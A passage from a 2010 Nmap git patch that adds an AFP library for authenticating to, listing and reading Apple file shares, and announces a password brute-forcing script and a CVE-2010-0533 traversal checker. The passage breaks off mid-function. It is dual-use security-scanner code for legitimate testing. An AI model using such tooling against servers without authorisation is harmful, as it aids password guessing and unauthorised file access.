From b1e64b3161583a4545bf5ae8e993e73a8327513c Mon Sep 17 00:00:00 2001 From: patrik Date: Mon, 29 Mar 2010 17:41:00 +0000 Subject: [PATCH] o [NSE] Updated the AFP library to support several new AFP functions and added authentication support. Updated the afp-showmount script and added two new scripts: - afp-brute attempts to guess passwords against the AFP service - afp-path-vuln detects the AFP directory traversal vulnerability CVE-2010-0533 [Patrik] --- CHANGELOG | 8 +- nselib/afp.lua | 1975 +++++++++++++++++++++++++++++-------- scripts/afp-brute.nse | 112 +++ scripts/afp-path-vuln.nse | 177 ++++ scripts/afp-showmount.nse | 158 +-- scripts/script.db | 3 + 6 files changed, 1942 insertions(+), 491 deletions(-) create mode 100644 scripts/afp-brute.nse create mode 100644 scripts/afp-path-vuln.nse diff --git a/CHANGELOG b/CHANGELOG index 64206752e..76369bdaf 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -2,7 +2,13 @@ Nmap 5.22TEST [2010-03-29] -o Placeholder for new NSE scripts count/info +o [NSE] Updated the AFP library to support several new AFP functions and added + authentication support. Updated the afp-showmount script and added two new + scripts: + - afp-brute attempts to guess passwords against the AFP service + - afp-path-vuln detects the AFP directory traversal vulnerability + CVE-2010-0533 + [Patrik] o An ALPHA TEST VERSION of Nping, a packet generater written by Luis MartinGarcia and Fyodor last summer, is now included in the Nmap diff --git a/nselib/afp.lua b/nselib/afp.lua index d04a4eb47..f0fefdd12 100644 --- a/nselib/afp.lua +++ b/nselib/afp.lua @@ -1,23 +1,127 @@ --- --- This module was written by Patrik Karlsson and facilitates communication --- with the Apple AFP Service. It is not feature complete and is missing several --- functions and parameters. +-- This library was written by Patrik Karlsson to facilitate +-- communication with the Apple AFP Service. It is not feature complete and +-- still missing several functions. -- --- The library currently has enough functionality to query share names and access controls. --- More functionality will be added once more scripts that depend on it are developed. +-- The library currently supports +-- o Authentication using the DHX UAM (CAST128) +-- o File reading and writing +-- o Listing sharepoints +-- o Listing directory contents +-- o Querying ACLs and mapping user identities (UIDs) -- +-- The library was built based on the following reference: +-- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html +-- http://developer.apple.com/mac/library/documentation/Networking/Conceptual/AFP/AFPSecurity/AFPSecurity.html#//apple_ref/doc/uid/TP40000854-CH232-CHBBAGCB -- +-- Most functions have been tested against both Mac OS X 10.6.2 and Netatalk 2.0.3 +-- +-- The library contains the following four classes +-- o Response +-- - A class used as return value by functions in the Proto class +-- - The response class acts as a wrapper and holds the response data and any error information +-- o Proto +-- - This class contains all the AFP specific functions and calls +-- - The functions can be accessed directly but the preferred method is through the Helper class +-- - The function names closely resemble those described in the Apple documentation +-- - Some functions may lack some of the options outlined in Apple's documentation +-- o Helper +-- - The helper class wraps the Proto class using functions with a more descriptive name +-- - Functions are task oriented eg. ReadFile and usually call several functions in the Proto class +-- - The purpose of this class is to give developers easy access to some of the common AFP tasks +-- o Util +-- - The util class contains a number of static functions mainly used to convert data +-- +-- The following information will describe how to use the AFP Helper class to communicate with an AFP server. +-- +-- The short version: +-- +-- helper = afp.Helper:new() +-- status, response = helper:OpenSession( host, port ) +-- status, response = helper:Login() +-- .. do some fancy AFP stuff .. +-- status, response = helper:Logout() +-- status, response = helper:CloseSession() +-- +-- +-- Here's the longer version, with some explanatory text. To start using the Helper class, +-- the script has to create it's own instance. We do this by issuing the following: +-- +-- helper = afp.Helper:new() +-- +-- +-- Next a session to the AFP server must be established, this is done using the OpenSession method of the +-- Helper class, like this: +-- +-- status, response = helper:OpenSession( host, port ) +-- +-- +-- The next step needed to be performed is to authenticate to the server. We need to do this even for +-- functions that are available publically. In order to authenticate as the public user simply +-- authenticate using nil for both username and password. This can be achieved by calling the Login method +-- without any parameters, like this: +-- +-- status, response = helper:Login() +-- +-- +-- To authenticate to the server using the username 'admin' and password 'nimda' we do this instead: +-- +-- status, response = helper:Login('admin', 'nimda') +-- +-- +-- At this stage we're authenticated and can call any of the AFP functions we're authorized to. +-- For the purpose of this documentation, we will attempt to list the servers share points. +-- We do this by issuing the following: +-- +-- status, shares = helper:ListShares() +-- +-- +-- Once we're finnished, we need to logout and close the AFP session this is done by calling the +-- following two methods of the Helper class: +-- +-- status, response = helper:Logout() +-- status, response = helper:CloseSession() +-- +-- +-- Consult the documentation of each function to learn more about their respective return values. +-- +--@author Patrik Karlsson +--@copyright Same as Nmap--See http://nmap.org/book/man-legal.html +----------------------------------------------------------------------- --- Version 0.2 --- Created 01/03/2010 - v0.1 - created by Patrik Karlsson +-- +-- Version 0.5 +-- +-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson -- Revised 01/20/2010 - v0.2 - updated all bitmaps to hex for better readability +-- Revised 02/15/2010 - v0.3 - added a bunch of new functions and re-designed the code to be OO +-- +-- New functionality added as of v0.3 +-- o File reading, writing +-- o Authentication +-- o Helper functions for most AFP functions +-- o More robust error handling +-- +-- Revised 03/05/2010 - v0.4 - changed output table of Helper:Dir to include type and ID +-- - added support for --without-openssl +-- +-- Revised 03/09/2010 - v0.5 - documentation, documenation and more documentation module(... or "afp",package.seeall) +local HAVE_SSL = false + +if pcall(require,'openssl') then + HAVE_SSL = true +end + -- Table of valid REQUESTs local REQUEST = { + CloseSession = 0x01, OpenSession = 0x04, - Command = 0x02 + Command = 0x02, + GetStatus = 0x03, + Write = 0x06, } -- Table of headers flags to be set accordingly in requests and responses @@ -29,14 +133,27 @@ local FLAGS = { -- Table of possible AFP_COMMANDs COMMAND = { FPCloseVol = 0x02, - FPLogin = 0x12, - FPGetUserInfo = 0x25, + FPCloseFork = 0x04, + FPCopyFile = 0x05, + FPCreateDir = 0x06, + FPCreateFile = 0x07, + FPGetSrvrInfo = 0x0f, FPGetSrvParms = 0x10, + FPLogin = 0x12, + FPLoginCont = 0x13, + FPLogout = 0x14, + FPMapId = 0x15, + FPMapName = 0x16, + FPGetUserInfo = 0x25, FPOpenVol = 0x18, FPOpenFork = 0x1a, FPGetFileDirParams = 0x22, + FPChangePassword = 0x24, FPReadExt = 0x3c, - FPEnumerateExt2 = 0x44 + FPWriteExt = 0x3d, + FPGetAuthMethods = 0x3e, + FPLoginExt = 0x3f, + FPEnumerateExt2 = 0x44, } USER_BITMAP = { @@ -62,44 +179,47 @@ VOL_BITMAP = { FILE_BITMAP = { Attributes = 0x1, - DID = 0x2, + ParentDirId = 0x2, CreationDate = 0x4, ModificationDate = 0x8, BackupDate = 0x10, FinderInfo = 0x20, LongName = 0x40, ShortName = 0x80, - FileId = 0x100, + NodeId = 0x100, DataForkSize = 0x200, ResourceForkSize = 0x400, ExtendedDataForkSize = 0x800, LaunchLimit = 0x1000, UTF8Name = 0x2000, ExtendedResourceForkSize = 0x4000, - UnixPrivileges = 0x8000 + UnixPrivileges = 0x8000, + ALL = 0xFFFF } DIR_BITMAP = { Attributes = 0x1, - DID = 0x2, + ParentDirId = 0x2, CreationDate = 0x4, ModificationDate = 0x8, BackupDate = 0x10, FinderInfo = 0x20, LongName = 0x40, ShortName = 0x80, - FileId = 0x100, + NodeId = 0x100, OffspringCount = 0x200, OwnerId = 0x400, GroupId = 0x800, AccessRights = 0x1000, UTF8Name = 0x2000, - UnixPrivileges = 0x8000 + UnixPrivileges = 0x8000, + ALL = 0xBFFF, } PATH_TYPE = { - LongNames = 2, - UnicodeNames = 3 + ShortName = 1, + LongName = 2, + UTF8Name = 3, } ACCESS_MODE = { @@ -109,6 +229,7 @@ ACCESS_MODE = { DenyWrite = 0x20 } +-- Access controls ACLS = { OwnerSearch = 0x1, OwnerRead = 0x2, @@ -130,423 +251,1505 @@ ACLS = { UserIsOwner = 0x80000000 } --- Each packet contains a sequential request id --- this number is used within create_fp_packet and increased by one in each call -request_id = 1 +-- User authentication modules +UAM = +{ + NoUserAuth = "No User Authent", + ClearText = "Cleartxt Passwrd", + RandNum = "Randnum Exchange", + TwoWayRandNum = "2-Way Randnum", + DHCAST128 = "DHCAST128", + DHX2 = "DHX2", + Kerberos = "Client Krb v2", + Reconnect = "Recon1", +} - ---- Creates an AFP packet --- --- @param command number should be one of the commands in the COMMAND table --- @param data_offset number holding the offset to the data --- @param data the actual data of the request -function create_fp_packet( command, data_offset, data ) - - local reserved = 0 - local data = data or "" - local data_len = data:len() - local header = bin.pack("CC>SIII", FLAGS.Request, command, request_id, data_offset, data_len, reserved) - local packet = header .. data - - request_id = request_id + 1 - return packet -end - ---- Parses the FP header (first 16-bytes of packet) --- --- @param packet string containing the raw packet --- @return table with header data containing flags, command, --- request_id, error_code, length and reserved fields -function parse_fp_header( packet ) - - local header = {} - local pos - - pos, header.flags, header.command, header.request_id = bin.unpack( "CC>S", packet ) - pos, header.error_code, header.length, header.reserved = bin.unpack( "I>II", packet:sub(5) ) - header.raw = packet:sub(1,16) +ERROR = +{ + SocketError = 1000, + CustomError = 0xdeadbeef, - return header - -end + FPNoErr = 0, + FPAccessDenied = -5000, + FPAuthContinue = -5001, + FPBadUAM = -5002, + FPBadVersNum = -5003, + FPBitmapErr = - 5004, + FPCantMove = - 5005, + FPEOFErr = -5009, + FPItemNotFound = -5012, + FPLockErr = -5013, + FPMiscErr = -5014, + FPObjectExists = -5017, + FPObjectNotFound = -5018, + FPParamErr = -5019, + FPUserNotAuth = -5023, + FPCallNotSupported = -5024, +} ---- Sends an OpenSession AFP request to the server and handles the response --- --- @param socket already connected to the server --- @return status (true or false) --- @return nil (if status is true) or error string (if status is false) -function open_session( socket ) +MAP_ID = +{ + UserIDToName = 1, + GroupIDToName = 2, + UserIDToUTF8Name = 3, + GroupIDToUTF8Name = 4, + UserUUIDToUTF8Name = 5, + GroupUUIDToUTF8Name = 6 +} - local data_offset = 0 - local option = 0x01 -- Attention Quantum - local option_len = 4 - local quantum = 1024 - - local data = bin.pack( "CCI", option, option_len, quantum ) - local packet = create_fp_packet( REQUEST.OpenSession, data_offset, data ) - - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) +MAP_NAME = +{ + NameToUserID = 1, + NameToGroupID = 2, + UTF8NameToUserID = 3, + UTF8NameToGroupID = 4, + UTF8NameToUserUUID = 5, + UTF8NameToGroupUUID = 6 +} - if packet.header.error_code ~= 0 then - return false, string.format("OpenSession error: %d", packet.header.error_code) - end +local ERROR_MSG = { + [ERROR.FPAccessDenied]="Access Denied", + [ERROR.FPAuthContinue]="Authentication is not yet complete", + [ERROR.FPBadUAM]="Specified UAM is unknown", + [ERROR.FPBadVersNum]="Server does not support the specified AFP version", + [ERROR.FPBitmapErr]="Attempt was made to get or set a parameter that cannot be obtained or set with this command, or a required bitmap is null", + [ERROR.FPCantMove]="Attempt was made to move a directory into one of its descendent directories.", + [ERROR.FPEOFErr]="No more matches or end of fork reached.", + [ERROR.FPLockErr]="Some or all of the requested range is locked by another user; a lock range conflict exists.", + [ERROR.FPMiscErr]="Non-AFP error occurred.", + [ERROR.FPObjectNotFound]="Input parameters do not point to an existing directory, file, or volume.", + [ERROR.FPParamErr]="Parameter error.", + [ERROR.FPObjectExists] = "File or directory already exists.", + [ERROR.FPUserNotAuth] = "UAM failed (the specified old password doesn't match); no user is logged in yet for the specified session; authentication failed; password is incorrect.", + [ERROR.FPItemNotFound] = "Specified APPL mapping, comment, or icon was not found in the Desktop database; specified ID is unknown.", + [ERROR.FPCallNotSupported] = "Server does not support this command.", +} + +-- Response class returned by all functions in Proto +Response = { + + new = function(self,o) + o = o or {} + setmetatable(o, self) + self.__index = self + return o + end, + + --- Sets the error code + -- + -- @param code number containing the error code + setErrorCode = function( self, code ) + self.error_code = code + end, + + --- Gets the error code + -- + -- @return code number containing the error code + getErrorCode = function( self ) + return self.error_code + end, + + --- Gets the error message + -- + -- @return msg string containing the error + getErrorMessage = function(self) + if self.error_msg then + return self.error_msg + else + return ERROR_MSG[self.error_code] or ("Unknown error (%d) occured"):format(self.error_code) + end + end, + + --- Sets the error message + -- + -- @param msg string containing the error message + setErrorMessage = function(self, msg) + self.error_code = ERROR.CustomError + self.error_msg = msg + end, + + --- Sets the result + -- + -- @param result + setResult = function(self, result) + self.result = result + end, + + --- Get the result + -- + -- @return result + getResult = function(self) + return self.result + end, + + --- Sets the packet + setPacket = function( self, packet ) + self.packet = packet + end, - return true, nil -end - - - ---- Sends an FPGetUserInfo AFP request to the server and handles the response --- --- @param socket already connected to the server --- @return status (true or false) --- @return table with user information containing user_bitmap and --- uid fields (if status is true) or error string (if status is false) -function fp_get_user_info( socket ) - - local packet - local data_offset = 0 - local flags = 1 -- Default User - local uid = 0 - local bitmap = USER_BITMAP.UserId - local response = {} - local pos + getPacket = function( self ) + return self.packet + end, - local data = bin.pack( "CCI>S", COMMAND.FPGetUserInfo, flags, uid, bitmap ) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) + --- Gets the packet data + getPacketData = function(self) + return self.packet.data + end, + + --- Gets the packet header + getPacketHeader = function(self) + return self.packet.header + end, +} - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) - - if packet.header.error_code ~= 0 then - return false, string.format("OpenSession error: %d", packet.header.error_code) - end - - pos, response.user_bitmap, response.uid = bin.unpack(">S>I", packet.data) - - return true, response -end - ---- Sends an FPGetSrvrParms AFP request to the server and handles the response +--- Proto class containing all AFP specific code -- --- @param socket already connected to the server --- @return status (true or false) --- @return table with server parameters containing server_time, --- vol_count, volumes fields (if status is true) or error string (if status is false) --- -function fp_get_srvr_parms(socket) +-- For more details consult: +-- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html +Proto = { + + RequestId = 1, + + new = function(self,o) + o = o or {} + setmetatable(o, self) + self.__index = self + return o + end, - local packet - local data_offset = 0 - local response = {} - local pos = 0 + setSocket = function(self, socket) + self.socket = socket + end, - local data = bin.pack("CC", COMMAND.FPGetSrvParms, 0) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) + --- Creates an AFP packet + -- + -- @param command number should be one of the commands in the COMMAND table + -- @param data_offset number holding the offset to the data + -- @param data the actual data of the request + create_fp_packet = function( self, command, data_offset, data ) + local reserved = 0 + local data = data or "" + local data_len = data:len() + local header = bin.pack("CC>SIII", FLAGS.Request, command, self.RequestId, data_offset, data_len, reserved) - if packet.header.error_code ~= 0 then - return false, string.format("FPGetSrvrParms error: %d", packet.header.error_code) - end + self.RequestId = self.RequestId + 1 + return header .. data + end, - data = packet.data - pos, response.server_time, response.vol_count = bin.unpack("IC", data) + --- Parses the FP header (first 16-bytes of packet) + -- + -- @param packet string containing the raw packet + -- @return table with header data containing flags, command, + -- request_id, error_code, length and reserved fields + parse_fp_header = function( self, packet ) + local header = {} + local pos + + pos, header.flags, header.command, header.request_id = bin.unpack( "CC>S", packet ) + pos, header.error_code, header.length, header.reserved = bin.unpack( ">i>II", packet:sub(5) ) + + if header.error_code ~= 0 then + header.error_msg = ERROR_MSG[header.error_code] or ("Unknown error: %d"):format(header.error_code) + header.error_msg = "ERROR: " .. header.error_msg + end + header.raw = packet:sub(1,16) + return header + end, + + --- Reads a AFP packet of the socket + -- + -- @return Response object + read_fp_packet = function( self ) + + local packet = {} + local buf = "" + local status, response - -- we should now be at the leading zero preceeding the first volume name - -- next is the length of the volume name, move pos there - pos = pos + 1 - - stdnse.print_debug("Volumes: %d", response.vol_count ) - response.volumes = {} - - for i=1, response.vol_count do - local _, vol_len = bin.unpack("C", data:sub(pos)) - local volume_name = data:sub(pos + 1, pos + 1 + vol_len) - pos = pos + vol_len + 2 - table.insert(response.volumes, string.format("%s", volume_name) ) - stdnse.print_debug("Volume name: %s", volume_name) - end - - return true, response -end - - ---- Sends an FPLogin request to the server and handles the response --- --- This function currently only supports the 3.1 through 3.3 protocol versions --- It does not support authentication so the uam parameter is currently ignored --- --- @param socket already connected to the server-- --- @param afp_version string (AFP3.3|AFP3.2|AFP3.1) --- @param uam string containing authentication information (currently ignored) --- @return status (true or false) --- @return nil (if status is true) or error string (if status is false) -function fp_login( socket, afp_version, uam ) - - local packet - local data_offset = 0 - - -- currently we only support AFP3.3 - if afp_version == nil or ( afp_version ~= "AFP3.3" and afp_version ~= "AFP3.2" and afp_version ~= "AFP3.1" ) then - return - end - - uam = "No User Authent" - - local data = bin.pack( "CCACA", COMMAND.FPLogin, afp_version:len(), afp_version, uam:len(), uam ) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) - - if packet.header.error_code ~= 0 then - return false, string.format("FPLogin error: %d", packet.header.error_code) - end - - return true, nil -end - ---- Reads a AFP packet of the socket --- --- @param socket socket connected to the server --- @return table containing data and header fields -function read_fp_packet( socket ) - - local packet = {} - local buf = "" - - local catch = function() - socket:close() - end - - local try = nmap.new_try(catch) - - repeat - buf = buf .. try( socket:receive(16) ) - until buf:len() >= 16 -- make sure we have got atleast the header + status, buf = self.socket:receive_bytes(16) + if ( not status ) then + response = Response:new() + response:setErrorCode(ERROR.SocketError) + response:setErrorMessage(buf) + return response + end - packet.header = parse_fp_header( buf ) - - -- if we didn't get the whole packet when reading the header, try to read the rest - while buf:len() < packet.header.length + packet.header.raw:len() do - buf = buf .. try( socket:receive(packet.header.length) ) - end + packet.header = self:parse_fp_header( buf ) + while buf:len() < packet.header.length + packet.header.raw:len() do + local tmp + status, tmp = self.socket:receive_bytes( packet.header.length + 16 - buf:len() ) + if not status then + response = Response:new() + response:setErrorCode(ERROR.SocketError) + response:setErrorMessage(buf) + return response + end + buf = buf .. tmp + end - packet.data = buf:len() > 16 and buf:sub( 17 ) or "" - - return packet - -end + packet.data = buf:len() > 16 and buf:sub( 17 ) or "" + response = Response:new() + response:setErrorCode(packet.header.error_code) + response:setPacket(packet) ---- Sends an FPOpenVol request to the server and handles the response --- --- @param socket already connected to the server --- @param bitmap number bitmask of volume information to request --- @param volume_name string containing the volume name to query --- @return status (true or false) --- @return table containing bitmap and volume_id fields --- (if status is true) or error string (if status is false) -function fp_open_vol( socket, bitmap, volume_name ) + return response + end, - local packet - local data_offset = 0 - local pad = 0 - local response = {} - local pos - - local data = bin.pack("CC>SCA", COMMAND.FPOpenVol, pad, bitmap, volume_name:len(), volume_name ) - packet = create_fp_packet( REQUEST.Command, data_offset, data ) - send_fp_packet( socket, packet ) - packet = read_fp_packet( socket ) + --- Sends the raw packet over the socket + -- + -- @param packet containing the raw data + -- @return Response object + send_fp_packet = function( self, packet ) + return self.socket:send(packet) + end, - if packet.header.error_code ~= 0 then - return false, string.format("FPOpenVol error: %d", packet.header.error_code ) - end + --- Sends an DSIOpenSession request to the server and handles the response + -- + -- @return Response object + dsi_open_session = function( self, host, port ) + local data_offset = 0 + local option = 0x01 -- Attention Quantum + local option_len = 4 + local quantum = 1024 + local data, packet, status - pos, response.bitmap, response.volume_id = bin.unpack(">S>S", packet.data) + data = bin.pack( "CCI", option, option_len, quantum ) + packet = self:create_fp_packet( REQUEST.OpenSession, data_offset, data ) - return true, response + self:send_fp_packet( packet ) + return self:read_fp_packet() + end, + + --- Sends an DSICloseSession request to the server and handles the response + dsi_close_session = function( self ) + local data_offset = 0 + local option = 0x01 -- Attention Quantum + local option_len = 4 + local quantum = 1024 + local data, packet, status + + data = "" + packet = self:create_fp_packet( REQUEST.CloseSession, data_offset, data ) + + self:send_fp_packet( packet ) + end, + + -- Sends an FPCopyFile request to the server + -- + -- @param src_vol number containing the ID of the src file volume + -- @param srd_did number containing the directory id of the src file + -- @param src_path string containingt the file path/name of the src file + -- @param dst_vol number containing the ID of the dst file volume + -- @param dst_did number containing the id of the dest. directory + -- @param dst_path string containing the dest path (can be nil or "") + -- @param new_name string containign the new name of the destination + -- @return Response object + fp_copy_file = function(self, src_vol, src_did, src_path, dst_vol, dst_did, dst_path, new_name ) + local pad, data_offset = 0, 0 + local unicode_names, unicode_hint = 0x03, 0x08000103 + local data, packet, response + + -- make sure we have empty names rather than nil values + local dst_path = dst_path or "" + local src_path = src_path or "" + local new_name = new_name or "" + + data = bin.pack(">CCSISI", COMMAND.FPCopyFile, pad, src_vol, src_did, dst_vol, dst_did ) + data = data .. bin.pack(">CIP", unicode_names, unicode_hint, src_path ) + data = data .. bin.pack(">CIP", unicode_names, unicode_hint, dst_path ) + data = data .. bin.pack(">CIP", unicode_names, unicode_hint, new_name ) -end + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet() + end, ---- Sends an FPGetFileDirParms request to the server and handles the response --- --- Currently only handles a request for the Access rights (file_bitmap must be 0 and dir_bitmap must be 0x1000) --- --- @param socket already connected to the server --- @param volume_id number containing the id of the volume to query --- @param did number containing the id of the directory to query --- @param file_bitmap number bitmask of file information to query --- @param dir_bitmap number bitmask of directory information to query --- @param path string containing the name of the directory to query --- @return status (true or false) --- @return table containing file_bitmap, dir_bitmap, --- file_type and acls fields --- (if status is true) or error string (if status is false) -function fp_get_file_dir_parms( socket, volume_id, did, file_bitmap, dir_bitmap, path ) + --- Sends an FPGetUserInfo AFP request to the server and handles the response + -- + -- @return response object with the following result user_bitmap and + -- uid fields + fp_get_user_info = function( self ) - local packet - local data_offset = 0 - local pad = 0 - local response = {} - local pos + local packet, pos, status, response + local data_offset = 0 + local flags = 1 -- Default User + local uid = 0 + local bitmap = afp.USER_BITMAP.UserId + local result = {} + + local data = bin.pack( "CCI>S", COMMAND.FPGetUserInfo, flags, uid, bitmap ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + + self:send_fp_packet( packet ) + response = self:read_fp_packet() + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + pos, response.result.user_bitmap, response.result.uid = bin.unpack(">S>I", packet.data) + + return response + end, + + --- Sends an FPGetSrvrParms AFP request to the server and handles the response + -- + -- @return response object with the following result server_time, + -- vol_count, volumes fields + fp_get_srvr_parms = function(self) + local packet, status, data + local data_offset = 0 + local response = {} + local pos = 0 + local parms = {} + + data = bin.pack("CC", COMMAND.FPGetSrvParms, 0) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet() + + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + data = response:getPacketData() + pos, parms.server_time, parms.vol_count = bin.unpack("IC", data) + + -- we should now be at the leading zero preceeding the first volume name + -- next is the length of the volume name, move pos there + pos = pos + 1 + + parms.volumes = {} + + for i=1, parms.vol_count do + local _, vol_len = bin.unpack("C", data:sub(pos)) + local volume_name = data:sub(pos + 1, pos + 1 + vol_len) + pos = pos + vol_len + 2 + table.insert(parms.volumes, string.format("%s", volume_name) ) + end + + response:setResult(parms) + + return response + end, + + + --- Sends an FPLogin request to the server and handles the response + -- + -- This function currently only supports the 3.1 through 3.3 protocol versions + -- It currently supports the following authentication methods: + -- o No User Authent + -- o DHCAST128 + -- + -- The DHCAST128 UAM should work against most servers even though it's + -- superceeded by the DHX2 UAM. + -- + -- @param afp_version string (AFP3.3|AFP3.2|AFP3.1) + -- @param uam string containing authentication information + -- @return Response object + fp_login = function( self, afp_version, uam, username, password, options ) + local packet, status, data + local data_offset = 0 + local status, response + + if not HAVE_SSL then + return false, "OpenSSL not available, aborting ..." + end + + -- currently we only support AFP3.3 + if afp_version == nil or ( afp_version ~= "AFP3.3" and afp_version ~= "AFP3.2" and afp_version ~= "AFP3.1" ) then + return false, "Incorrect AFP version" + end + + if ( uam == "No User Authent" ) then + data = bin.pack( "CCACA", COMMAND.FPLogin, afp_version:len(), afp_version, uam:len(), uam ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet( ) + elseif( uam == "DHCAST128" ) then + local dhx_s2civ, dhx_c2civ = 'CJalbert', 'LWallace' + local p, g, Ra, Ma, Mb, K, nonce + local EncData, PlainText, K_bin, auth_response + local _, Id + local username = username or "" + local password = password or "" + + if ( bit.mod(username:len(), 2) == 0 ) then + username = username .. string.char(0) + end + + p = openssl.bignum_hex2bn("BA2873DFB06057D43F2024744CEEE75B") + g = openssl.bignum_dec2bn("7") + Ra = openssl.bignum_hex2bn("86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42") + Ma = openssl.bignum_mod_exp(g, Ra, p) + + data = bin.pack( "CpppA", COMMAND.FPLogin, afp_version, uam, username, openssl.bignum_bn2bin(Ma) ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet( ) + if ( response:getErrorCode() ~= ERROR.FPAuthContinue ) then + return response + end + + if ( response.packet.header.length ~= 50 ) then + response:setErrorMessage("LoginContinue packet contained invalid data") + return response + end + + _, Id, Mb, EncData = bin.unpack(">SH16A32", response.packet.data ) + + Mb = openssl.bignum_hex2bn( Mb ) + K = openssl.bignum_mod_exp (Mb, Ra, p) + K_bin = openssl.bignum_bn2bin(K) + nonce = openssl.decrypt("cast5-cbc", K_bin, dhx_s2civ, EncData, false ):sub(1,16) + nonce = openssl.bignum_add( openssl.bignum_bin2bn(nonce), openssl.bignum_dec2bn("1") ) + PlainText = openssl.bignum_bn2bin(nonce) .. Util.ZeroPad(password, 64) + auth_response = openssl.encrypt( "cast5-cbc", K_bin, dhx_c2civ, PlainText, true) + + data = bin.pack( "CC>SA", COMMAND.FPLoginCont, 0, Id, auth_response ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet( ) + if ( response:getErrorCode() ~= ERROR.FPNoErr ) then + return response + end + return response + end + response:setErrorMessage("Unsupported uam: " .. uam or "nil") + return response + end, + + -- Terminates sessions and frees server resources established by FPLoginand FPLoginExt. + -- + -- @return response object + fp_logout = function( self ) + local packet, data, response + local data_offset, pad = 0, 0 + + data = bin.pack("CC", COMMAND.FPLogout, pad) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + return self:read_fp_packet( ) + end, + + --- Sends an FPOpenVol request to the server and handles the response + -- + -- @param bitmap number bitmask of volume information to request + -- @param volume_name string containing the volume name to query + -- @return response object with the following result bitmap and + -- volume_id fields + fp_open_vol = function( self, bitmap, volume_name ) + local packet, status, pos, data + local data_offset, pad = 0, 0 + local response, volume = {}, {} + + data = bin.pack("CC>SCA", COMMAND.FPOpenVol, pad, bitmap, volume_name:len(), volume_name ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet() + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + pos, volume.bitmap, volume.volume_id = bin.unpack(">S>S", response.packet.data) + response:setResult(volume) + return response + end, + + + --- Sends an FPGetFileDirParms request to the server and handles the response + -- + -- @param volume_id number containing the id of the volume to query + -- @param did number containing the id of the directory to query + -- @param file_bitmap number bitmask of file information to query + -- @param dir_bitmap number bitmask of directory information to query + -- @param path string containing the name of the directory to query + -- @return response object with the following result file_bitmap, dir_bitmap, + -- file_type and (dir or file tables) depending on whether + -- did is a file or directory + fp_get_file_dir_parms = function( self, volume_id, did, file_bitmap, dir_bitmap, path ) + + local packet, status, data + local data_offset = 0 + local pad = 0 + local response, parms = {}, {} + local pos + + if ( did == nil ) then + response = Response:new() + response:setErrorMessage("No Directory Id supplied") + return response + end + + if ( volume_id == nil ) then + response = Response:new() + response:setErrorMessage("No Volume Id supplied") + return response + end + + data = bin.pack("CC>S>I>S>SCCAC", COMMAND.FPGetFileDirParams, pad, volume_id, did, file_bitmap, dir_bitmap, path.type, path.len, path.name, 0) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + self:send_fp_packet( packet ) + response = self:read_fp_packet() + + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + pos, parms.file_bitmap, parms.dir_bitmap, parms.file_type, pad = bin.unpack( ">S>SCC", response.packet.data ) + + -- file or dir? + if ( parms.file_type == 0x80 ) then + pos, parms.dir = Util.decode_dir_bitmap( parms.dir_bitmap, response.packet.data, pos ) + else + -- file + pos, parms.file = Util.decode_file_bitmap( parms.file_bitmap, response.packet.data, pos ) + end + + response:setResult(parms) + return response + end, + + --- Sends an FPEnumerateExt2 request to the server and handles the response + -- + -- @param volume_id number containing the id of the volume to query + -- @param did number containing the id of the directory to query + -- @param file_bitmap number bitmask of file information to query + -- @param dir_bitmap number bitmask of directory information to query + -- @param req_count number + -- @param start_index number + -- @param reply_size number + -- @param path string containing the name of the directory to query + -- @return response object with the following result set to a table of tables containing + -- file_bitmap, dir_bitmap, req_count fields + fp_enumerate_ext2 = function( self, volume_id, did, file_bitmap, dir_bitmap, req_count, start_index, reply_size, path ) + + local packet, pos, _, status + local data_offset = 0 + local pad = 0 + local response,records = {}, {} + + local data = bin.pack( "CC>S>I>S>S", COMMAND.FPEnumerateExt2, pad, volume_id, did, file_bitmap, dir_bitmap ) + data = data .. bin.pack( ">S>I>ICCA", req_count, start_index, reply_size, path.type, path.len, path.name ) + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) + + self:send_fp_packet( packet ) + response = self:read_fp_packet( ) + + if response:getErrorCode() ~= ERROR.FPNoErr then + return response + end + + pos, file_bitmap, dir_bitmap, req_count = bin.unpack(">S>S>S", response.packet.data) + + records = {} + + for i=1, req_count do + local record = {} + local len, _, ftype + + pos, len, ftype, _ = bin.unpack(">SCC", response.packet.data, pos) + + if ( ftype == 0x80 ) then + _, record = Util.decode_dir_bitmap( dir_bitmap, response.packet.data, pos ) + else + -- file + _, record = Util.decode_file_bitmap( file_bitmap, response.packet.data, pos ) + end + + if bit.mod( len, 2 ) ~= 0 then + len = len + 1 + end + + pos = pos + ( len - 4 ) + + record.type = ftype + table.insert(records, record) + end + + response:setResult(records) + return response + end, + + --- Sends an FPOpenFork request to the server and handles the response + -- + -- @param flag number + -- @param volume_id number containing the id of the 